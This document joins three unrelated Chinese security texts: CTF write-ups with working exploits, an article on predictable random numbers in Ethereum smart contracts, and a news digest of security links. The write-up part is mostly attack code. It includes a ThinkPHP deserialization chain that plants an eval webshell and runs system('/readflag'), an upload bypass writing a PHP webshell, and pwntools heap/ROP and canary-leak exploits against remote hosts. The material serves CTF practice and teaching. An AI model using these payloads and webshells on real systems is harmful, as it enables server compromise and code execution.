class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../runtime/a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));
}
反序列化：
http://b581b27f-0c02-4748-8e55-10e03abc02e5.node4.buuoj.cn/index.php/index/labelmodels/get_label?tag_array[cfg]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A130%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F..%2Fruntime%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A11%3B%7D%7D%7D
执行`/readflag`：
http://b581b27f-0c02-4748-8e55-10e03abc02e5.node4.buuoj.cn/runtime/a.php12ac95f1498ce51d2d96a249c09c1998.php
ccc=system('/readflag');
### jj’s camera
经过一系列的查找，发现了源码`https://buliang0.tk/archives/0227.html`
只有qbl.php那里可以利用：
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type,array('bmp','png'))){
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
header("Location: ".$url);
}
}
想办法写马，但是后缀似乎不可控。看了一下php版本，是5.2.17，可以00截断。但是注意：
$id = trim($_GET['id']);
所以%00后面再添上个东西就可以了。
https://node4.buuoj.cn:26590/qbl.php?id=.feng.php%00123&url=123
img=data:image/png;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==
## Crypto
### Yusa的密码学签到——BlockTrick
## Misc
### ezSteganography
用stegsolve打开图片，在red plane 0通道发现G plane通道有东西
保存Green plane 0的图片然后用stegsolve的Image Combiner功能进行对比
发现了前一半flag还有后一半flag的提示是用QIM量化，步长为20
在github搜索QIM
quantization搜到这个网址<https://github.com/pl561/QuantizationIndexModulation/blob/master/qim.py>
仿照里面的test_qim进行函数重写，发现结果里的msg_detected全是1和0，把所有的0都改成255，再保存成新的图片，得到后一半flag
exp如下：
"""Implementation of QIM method from Data Hiding Codes, Moulin and Koetter, 2005"""
from __future__ import print_function
import sys
import os
HOME = os.environ["HOME"]
import numpy as np
import cv2
from tqdm import tqdm
# from libnum import *
# from gmpy2 import *
class QIM:
def __init__(self, delta):
self.delta = delta
def embed(self, x, m):
"""
x is a vector of values to be quantized individually
m is a binary vector of bits to be embeded
returns: a quantized vector y
"""
x = x.astype(float)
d = self.delta
y = np.round(x/d) * d + (-1)**(m+1) * d/4.
return y
def detect(self, z):
"""
z is the received vector, potentially modified
returns: a detected vector z_detected and a detected message m_detected
"""
shape = z.shape
z = z.flatten()
m_detected = np.zeros_like(z, dtype=float)
z_detected = np.zeros_like(z, dtype=float)
z0 = self.embed(z, 0)
z1 = self.embed(z, 1)
d0 = np.abs(z - z0)
d1 = np.abs(z - z1)
gen = zip(range(len(z_detected)), d0, d1)
for i, dd0, dd1 in gen:
if dd0 < dd1:
m_detected[i] = 0
z_detected[i] = z0[i]
else:
m_detected[i] = 1
z_detected[i] = z1[i]
z_detected = z_detected.reshape(shape)
m_detected = m_detected.reshape(shape)
return z_detected, m_detected.astype(int)
def random_msg(self, l):
"""
returns: a random binary sequence of length l
"""
return np.random.choice((0, 1), l)
# def test_qim():
# """
# tests the embed and detect methods of class QIM
# """
# l = 10000 # binary message length
# delta = 20 # quantization step
# qim = QIM(delta)
# while True:
# x = np.random.randint(0, 255, l).astype(float) # host sample
# msg = qim.random_msg(l)
# y = qim.embed(x, msg)
# z_detected, msg_detected = qim.detect(y)
# print(x)
# print(y)
# print(z_detected)
# print(msg)
# print(msg_detected)
# assert np.allclose(msg, msg_detected) # compare the original and detected messages
# assert np.allclose(y, z_detected) # compare the original and detected vectors
def my_test_qim():
delta = 20
qim = QIM(delta)
y = cv2.imread('/Users/lizihan/Downloads/ezSteganography-flag.png')
z_detected, msg_detected = qim.detect(y)
for i in tqdm(range(len(msg_detected))):
for j in range(len(msg_detected[i])):
for k in range(len(msg_detected[i][j])):
if msg_detected[i][j][k] == 1:
msg_detected[i][j][k] = 255
cv2.imwrite('flag3.png', msg_detected)
def main():
my_test_qim()
if __name__ == "__main__":
sys.exit(main())
flag{2e9ec6480d05150c211963984dcbc9f1}
### red_vs_blue
手动发现规律刚开始就设定好了，所以采用爆破思想即可，已知的规律都存入一个列表中，重开的时候直接输入列表里存放的结果，下一个如果尝试失败就换相反的队伍
exp如下：
from pwn import*
import random
context(os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn", 26828)
my_list = []
for i in range(66):
my_list.append('0')
count = 0
flag = 1
while True:
text = p.recvline()
if text == "Sorry!You are wrong!\n":
flag += 1
p.sendline('y')
count = 0
if text == "choose one [r] Red Team,[b] Blue Team:\n":
if my_list[count] == 'r':
p.sendline('r')
count += 1
elif my_list[count] == 'b':
p.sendline('b')
count += 1
else:
if flag % 2 == 1:
num = 'r'
p.sendline('r')
p.recvline()
text = p.recvline()
if text == "The result Red Team\n":
my_list[count] = num
log.info(''.join(i for i in my_list))
count += 1
if flag % 2 == 0:
num = 'b'
p.sendline('b')
p.recvline()
text = p.recvline()
if text == "The result Blue Team\n":
my_list[count] = num
log.info(''.join(i for i in my_list))
count += 1
### funny_maze
在CSDN搜到一个python自动走迷宫的脚本[https://blog.csdn.net/qq_29681777/article/details/83719680，稍微把它的修改修改即可](https://blog.csdn.net/qq_29681777/article/details/83719680%EF%BC%8C%E7%A8%8D%E5%BE%AE%E6%8A%8A%E5%AE%83%E7%9A%84%E4%BF%AE%E6%94%B9%E4%BF%AE%E6%94%B9%E5%8D%B3%E5%8F%AF)
exp如下：
# coding=utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn",27665)
dirs=[(0,1),(1,0),(0,-1),(-1,0)] #当前位置四个方向的偏移量
path = [] #存找到的路径
def mark(maze,pos): #给迷宫maze的位置pos标"2"表示“倒过了”
maze[pos[0]][pos[1]]=2
def passable(maze,pos): #检查迷宫maze的位置pos是否可通行
return maze[pos[0]][pos[1]]==0
def find_path(maze, pos, end):
mark(maze,pos)
if pos==end:
path.append(pos)
return True
for i in range(4): #否则按四个方向顺序检查
nextp=pos[0]+dirs[i][0],pos[1]+dirs[i][1]
#考虑下一个可能方向
if passable(maze,nextp): #不可行的相邻位置不管
if find_path(maze,nextp,end):#如果从nextp可达出口，输出这个位置，成功结束
path.append(pos)
return True
return False
def pwn():
if count > 0:
p.recvline()
p.recvline()
p.recvline()
text = p.recvline()
length = len(text) - 1 # '\n'占了一位
maze = []
maze.append([1] * length)
for i in range(length - 1): # 前面已经接收了第一行了
text = p.recvline()
maze1 = []
for j in range(len(text) - 1):
if text[j] == '#':
maze1.append(1)
elif text[j] == ' ':
maze1.append(0)
elif text[j] == 'S':
maze1.append(1)
start = (i + 1, j + 1)
elif text[j] == 'E':
maze1.append(1)
end = (i + 1, j - 1)
maze.append(maze1)
find_path(maze,start,end)
p.sendlineafter('Please enter your answer:\n', str(len(path) + 2))
if __name__ == '__main__':
p.sendlineafter('3.Introduction to this game\n', '1')
count = 0
while True:
pwn()
path = []
count += 1
## PWN
### Easyheap
程序使用strdup函数来malloc，它会根据你实际输入的内容大小来进行malloc，但是程序在add时同样需要输入size，并且将size写到了一个size数组中。之后在edit中发现，edit写入时，程序查看的是size数组中的大小。
所以我们add时输入大size，但写入少许内容，之后再edit这个chunk，就可以进行随意溢出。
首先利用extend去free一个unsortedbin，之后申请chunk，进行切片，使libc落到被覆盖的chunk里，打印libc_base。此时这个chunk同时处于allocate和free态，将它申请回来，可以double
free泄露heap_base。
之后劫持malloc_hook，动调后，写入gadget add rsp 0x38 ；ret，栈上rop进行orw获取flag
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./Easyheap')
#libc = ELF('/home/hacker/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
p = remote("node4.buuoj.cn",28436)
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')
elf = ELF('./Easyheap')
def add(size,content):
p.sendlineafter(">> :\n",'1')
p.sendlineafter("Size: \n",str(int(size)))
p.sendlineafter("Content: \n",content)
def edit(idx,content):
p.sendlineafter(">> :\n",'4')
p.sendlineafter("Index:\n",str(idx))
p.sendafter("Content:\n",content)
def show(idx):
p.sendlineafter(">> :\n",'3')
p.sendlineafter("Index:\n",str(idx))
def free(idx):
p.sendlineafter(">> :\n",'2')
p.sendlineafter("Index:\n",str(idx))
add(0x30,"/flag".ljust(0x10,'a'))#0
add(0x500,'a'*0x4d0)
add(0x10,'a'*0x10)
add(0x20,'a'*0x20)#3
edit(0,'b'*0x10+p64(0)+p64(0x501))
free(1)
add(0x4d0,'c'*0x4d0)#1
show(2)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
add(0x10,'a'*0x10)#4 = 2 double free
add(0x10,'a'*0x10)
add(0x30,"/flag\x00".ljust(0x30,'a'))#6
free(5)
free(2)
show(4)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x7b0
log.info("heap_base="+hex(heap_base))
flag_addr = heap_base+0x7d0
log.info("flag_addr="+hex(flag_addr))
add(0x10,'a'*0x10)#2
add(0x10,'a'*0x10)#5
add(0x50,'a'*0x20)#7
add(0x10,'a'*0x10)#8
free(8)
edit(7,'a'*0x20+p64(0)+p64(0x21)+p64(libc_base+libc.sym["__malloc_hook"]))
add(0x10,'a'*0x10)#9
pop_rdi = libc_base+0x215bf
pop_rsi = libc_base+0x23eea
pop_rdx = libc_base+0x1b96
pop_rax = libc_base+0x43ae8
syscall = libc_base+0x13c0
gadget = libc_base+0xe0c4d #0x38
#open(flag_addr,0)
rop_chains = p64(pop_rdi)+p64(flag_addr)
rop_chains+= p64(pop_rsi)+p64(0)
rop_chains+= p64(pop_rax)+p64(2)
rop_chains+= p64(libc_base+libc.sym["open"])
#read(3,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(3)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(0)
rop_chains+= p64(libc_base+libc.sym["read"])
#write(1,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(1)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(1)
rop_chains+= p64(libc_base+libc.sym["write"])
add(0x10,p64(gadget))#7 malloc hook
#add(0x100,"a"*0x100)
add(0x400,rop_chains)
p.interactive()
### old_thing
程序需要输入密码，加密后和一字符串s2比较，相同便可进入，而且给了后门，所以只需要login进去，就可以轻松getshell。在输入密码read的地方发现off
by
null，而且输入的s和比对的字符串s2在栈里物理相邻，所以输入0x20长度的密码，就可以截断s2，并且如果输入的s加密后最低位也为00的话，则可以绕过strcmp，成功login。
直接随机生成字符串进行爆破，下面是爆破脚本
from pwn import *
from LibcSearcher import *
import hashlib
context(os='linux',arch='amd64',log_level='debug')
#ms = remote("node3.buuoj.cn",25543)
elf = ELF("./canary3")
def generate_char_id():
m2 = hashlib.md5()
m2.update(str(time.time()).encode('utf-8'))
return m2.hexdigest()
while True:
ms = process("./canary3")
ms.sendafter("please input username: ","admin")
payload = generate_char_id()
ms.sendafter("please input password: ",payload)
if(ms.recvline()=="Login Fail\n"):
continue
else:
break
得到密码：aeedc57231ad54641b5ecb7faa0479c8
之后进入程序，getshell
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn",26096)
elf = ELF("./canary3")
#p = process("./canary3")
p.sendafter("please input username: ","admin")
payload = "aeedc57231ad54641b5ecb7faa0479c8"
p.sendafter("please input password: ",payload)
p.sendlineafter("3.exit\n",'2')
p.sendafter("your input:\n",'a'*(0x20-0x8)+'x')
p.sendlineafter("3.exit\n",'1')
p.recvuntil('x')
canary = u64(ms.recv(7)[0:7].rjust(8,'\x00'))
log.info("canary="+hex(canary))
base = u64(ms.recv(6).ljust(8,'\x00'))-0x2530
log.info("base="+hex(base))
addr = base+0x239f
p.sendlineafter("3.exit\n",'2')
payload = 'a'*(0x20-0x8)+p64(canary)+p64(0)+p64(addr)
p.sendafter("your input:\n",payload)
p.sendlineafter("3.exit\n",'3')
p.interactive() | 社区文章 |
### 一、前言
分析了如此多的合约与攻击案例后，我发现随机数是经常出现的一个话题。在CTF题目中经常能见到随机数的预测。
以太坊作为数字货币的初始平台之一，已经在市面上进行了极广的普及。对于以太坊来说，其经常应用在ERC20、轮盘、彩票、游戏等应用中，并利用Solidity完成对合约的编写。作为区块链的应用，以太坊同样是去中心化的、透明的。所以许多赌博游戏、随机数预测等相关应用需要精心设计，否则就会产生危害。
本文详细的将以太坊中的随机数安全问题进行归类，并通过样例对各个类别的安全问题进行演示操作，方便读者进行进一步的分析解读。
### 二、随机数问题归类
我们在这里将随机数分类为四个大的方向。
* 随机数使用区块中的公共变量作为随机数种子
* 随机数使用过去的区块的区块哈希
* 随机数结合哈希与私人设置的值作为种子
* 随机数结合区块链机制而导致的安全问题
我将在下文中对这四类问题进行分析总结，并对合约进行演示讲解。
### 三、基于区块变量的随机数安全问题
根据有漏洞的合约以及常见的CTF题目，我们总结了几种被用于生产随机数的区块变量，如下：
* now 该变量为当前时间戳信息。
contract test{
event block(uint);
function run() public{
block(now);
}
}
* block.coinbase 代表挖当前区块的矿工地址
* block.difficulty 表示这个区块的挖矿难度
* block.gaslimit 表示交易中所限制的最大的gas值
* block.number表示当前区块的高度
* block.timestamp表示当前区块何时被挖出来的
这些区块变量可以被矿工进行计算，所以我们不能轻易的使用这些变量作为生成随机数的种子。并且，这些变量可以通过区块得到，当攻击者得到这些公共信息后，可以肆无忌惮的进行计算以达到预测随机数的效果。
下面我们看此类型的几个样例：
首先为一个轮盘类型的应用代码。
/**
*Submitted for verification at Etherscan.io on 2016-06-28
*/
contract Lottery {
event GetBet(uint betAmount, uint blockNumber, bool won);
struct Bet {
uint betAmount;
uint blockNumber;
bool won;
}
address private organizer;
Bet[] private bets;
// Create a new lottery with numOfBets supported bets.
function Lottery() {
organizer = msg.sender;
}
// Fallback function returns ether
function() {
throw;
}
// Make a bet
function makeBet() {
// Won if block number is even
// (note: this is a terrible source of randomness, please don't use this with real money)
bool won = (block.number % 2) == 0;
// Record the bet with an event
bets.push(Bet(msg.value, block.number, won));
// Payout if the user won, otherwise take their money
if(won) {
if(!msg.sender.send(msg.value)) {
// Return ether to sender
throw;
}
}
}
// Get all bets that have been made
function getBets() {
if(msg.sender != organizer) { throw; }
for (uint i = 0; i < bets.length; i++) {
GetBet(bets[i].betAmount, bets[i].blockNumber, bets[i].won);
}
}
// Suicide :(
function destroy() {
if(msg.sender != organizer) { throw; }
suicide(organizer);
}
}
该合约的关键点在`makeBet()`函数中。
// Make a bet
function makeBet() {
// Won if block number is even
// (note: this is a terrible source of randomness, please don't use this with real money)
bool won = (block.number % 2) == 0;
// Record the bet with an event
bets.push(Bet(msg.value, block.number, won));
// Payout if the user won, otherwise take their money
if(won) {
if(!msg.sender.send(msg.value)) {
// Return ether to sender
throw;
}
}
}
在该函数中，用户会在调用该函数的同时获得一个won的bool变量，该变量通过对2进行取余操作来获取是否为true或者false。当won为基数的时候，合约向参与者进行赚钱。
然而这里的`block.number`可以进行预测，我们可以写攻击合约，当`block.number`满足条件时调用函数，当不满足的时候放弃执行该函数，这样就可以做到百分百命中。
第二个例子与`block.timestamp`有关。
/**
*Submitted for verification at Etherscan.io on 2017-08-20
*/
pragma solidity ^0.4.15;
/// @title Ethereum Lottery Game.
contract EtherLotto {
// Amount of ether needed for participating in the lottery.
uint constant TICKET_AMOUNT = 10;
// Fixed amount fee for each lottery game.
uint constant FEE_AMOUNT = 1;
// Address where fee is sent.
address public bank;
// Public jackpot that each participant can win (minus fee).
uint public pot;
// Lottery constructor sets bank account from the smart-contract owner.
function EtherLotto() {
bank = msg.sender;
}
// Public function for playing lottery. Each time this function
// is invoked, the sender has an oportunity for winning pot.
function play() payable {
// Participants must spend some fixed ether before playing lottery.
assert(msg.value == TICKET_AMOUNT);
// Increase pot for each participant.
pot += msg.value;
// Compute some *almost random* value for selecting winner from current transaction.
var random = uint(sha3(block.timestamp)) % 2;
// Distribution: 50% of participants will be winners.
if (random == 0) {
// Send fee to bank account.
bank.transfer(FEE_AMOUNT);
// Send jackpot to winner.
msg.sender.transfer(pot - FEE_AMOUNT);
// Restart jackpot.
pot = 0;
}
}
}
简单的分析一下该合约。
该合约同样为一种游戏合约，合约中设定了固定的转账金额——`TICKET_AMOUNT`。该合约需要满足参与者转账设定好的金额，并当msg.value满足条件后，触发参与合约，该合约设定了随机数`random`并且该随机数为`uint(sha3(block.timestamp))
% 2`。当该随机数的结果为0时获奖，获奖一方获得`pot - FEE_AMOUNT`的金额，而庄家收取一定手续费。
看似简单的赌博游戏其中蕴含着一些漏洞可以操纵。`block.timestamp`是可以进行预测的，而参与者可以通过预测该值而达到作恶的可能。
第三个合约例子为：
/**
*Submitted for verification at Etherscan.io on 2017-09-01
*/
contract Ethraffle_v4b {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint raffleId,
address contestant,
uint number
);
event TicketRefund(
uint raffleId,
address contestant,
uint number
);
// Constants
uint public constant prize = 2.5 ether;
uint public constant fee = 0.03 ether;
uint public constant totalTickets = 50;
uint public constant pricePerTicket = (prize + fee) / totalTickets; // Make sure this divides evenly
address feeAddress;
// Other internal variables
bool public paused = false;
uint public raffleId = 1;
uint public blockNumber = block.number;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
// Initialization
function Ethraffle_v4b() public {
feeAddress = msg.sender;
}
// Call buyTickets() when receiving Ether outside a function
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
// Choose winner if we sold all the tickets
if (nextTicket == totalTickets) {
chooseWinner();
}
// Send back leftover money
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
// Start next raffle
raffleId++;
nextTicket = 0;
blockNumber = block.number;
// gaps.length = 0 isn't necessary here,
// because buyTickets() eventually clears
// the gaps array in the loop itself.
// Distribute prize and fee
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
// Get your money back before the raffle occurs
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
// Refund everyone's money, start a new raffle, then pause it
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
blockNumber = block.number;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
}
参与者参与到该合约中，合约将会将`contestants`数组中添加参与者地址信息，而剩下的就是需要调用`chooseWinner`函数来对获胜者进行挑选。
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
// Start next raffle
raffleId++;
nextTicket = 0;
blockNumber = block.number;
// gaps.length = 0 isn't necessary here,
// because buyTickets() eventually clears
// the gaps array in the loop itself.
// Distribute prize and fee
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
该函数中定义了三个随机数种子，第一个为`block.coinbase`——`contestants[uint(block.coinbase) %
totalTickets].addr;`
第二个为`msg.sender`——`contestants[uint(msg.sender) % totalTickets].addr`
第三个为——`block.difficulty`。
而此刻我们也能过看出来，这三个随机数种子均是可以通过本地来获取到的，也就是说参与者同样可以对这三个变量进行提取预测，以达到作恶的目的。
由于`totalTickets`是合约固定的，所以see1 2
3均可以由我们提前计算，此时我们就很容易的计算出`randHash`，然后计算出`winningAddress`。而获胜方的地址是根据位置所决定的，所以我们可以提前了解到获胜者是谁并可以提前将该位置占领。提高中奖概率。
### 四、基于区块哈希的随机数问题
每一个以太坊中的区块均有用于验证的哈希值，而该值可以通过`block.blockhash()`来进行获取。这个函数需要一个指定块的函数来传入，并可以对该块进行哈希计算。
contract test{
event log(uint256);
function go() public{
log(block.number);
}
}
* block.blockhash(block.number) 计算当前区块的哈希值
* block.blockhash(block.number - 1)计算上一个区块的哈希值
* block.blockhash()
下面我们具体来看几个实例。
首先是`block.blockhash(block.number)`。
`block.number`状态变量允许获取当前块的高度。
当矿工选择执行合同代码的事务时，具有此事务的未来块的`block.number`是已知的，因此合约可以访问其值。
但是，在EVM中执行事务的那一刻，由于显而易见的原因，尚未知道正在创建的块的blockhash，并且EVM将始终为零。
有些合约误解了表达式block.blockhash(block.number)的含义。
在这些合约中，当前块的blockhash在运行时被认为是已知的并且被用作随机数的来源。
为了方便我们对合约进行解读，我们将其中关键函数拿出来：
function deal(address player, uint8 cardNumber) internal returns (uint8) {
uint b = block.number;
uint timestamp = block.timestamp;
return uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52);
}
为了便于我们观察，我们将函数稍微修改一下，
event log(uint8);
function deal(address player, uint8 cardNumber) returns (uint8) {
uint b = block.number;
uint timestamp = block.timestamp;
log(uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52));
return uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52);
}
这样我们就拿到了每次执行的结果。
我们执行两次：
而通过log我们能够给知道每次的结果，也就是说这个随机数其实是可以预测的，我们用户就可以根据预测的值进行作恶。
function random(uint64 upper) public returns (uint64 randomNumber) {
_seed = uint64(sha3(sha3(block.blockhash(block.number), _seed), now));
return _seed % upper;
}
同样，该函数也存在类似的情况，我们知道now是所有用户都可以获得的，而该合约使用的所有随机数种子均是可获得的。且该`_seed`变量可以存在于区块中，并通过web3的内部函数获取。具体的方法我们在下文中进行讲解。
### 五、参考链接
* [0xa65d59708838581520511d98fb8b5d1f76a96cad](https://etherscan.io/address/0xa65d59708838581520511d98fb8b5d1f76a96cad)
* <https://github.com/axiomzen/eth-random/issues/3>
* [0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870](https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870)
* [0xa11e4ed59dc94e69612f3111942626ed513cb172](https://etherscan.io/address/0xa11e4ed59dc94e69612f3111942626ed513cb172)
* <https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620>
* [0x80ddae5251047d6ceb29765f38fed1c0013004b7](https://etherscan.io/address/0x80ddae5251047d6ceb29765f38fed1c0013004b7) | 社区文章 |
# 【知识】2月25日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Cloudflare解析器bug导致内存泄漏事件报告、服务端模板注入、** **ctf之php黑魔法总结** **、 HTML5
Security Cheatsheet – HTML5相关XSS攻击载体** **
**
**国内热词(以下内容部分摘自 http://www.solidot.org/)：**
* * *
****
****
Linus Torvalds 回应 SHA-1 碰撞攻击
Google 演示对 SHA-1 的碰撞攻击
360 承建大数据协同安全技术国家工程实验室
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
google再次披露未修补的microsoft Edge和IE漏洞
http://thehackernews.com/2017/02/google-microsoft-edge-bug.html
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Cloudflare解析器bug导致内存泄漏事件报告
<http://bobao.360.cn/learning/detail/3534.html>
asm2c：swift工具将DOS / PMODEW 386 TASM汇编代码转换为C代码
<https://github.com/frranck/asm2c>
服务端模板注入
<http://blog.portswigger.net/2015/08/server-side-template-injection.html>
rop入门 level 0
<http://pentestdan.com/rop-primer-level-0-explained/>
针对CLI爱好者的终端框架，插件和资源的策展列表
<https://github.com/k4m4/terminals-are-sexy>
cloudbleed泄漏cache的几个实例
<https://news.ycombinator.com/item?id=13727279>
ctf之php黑魔法总结
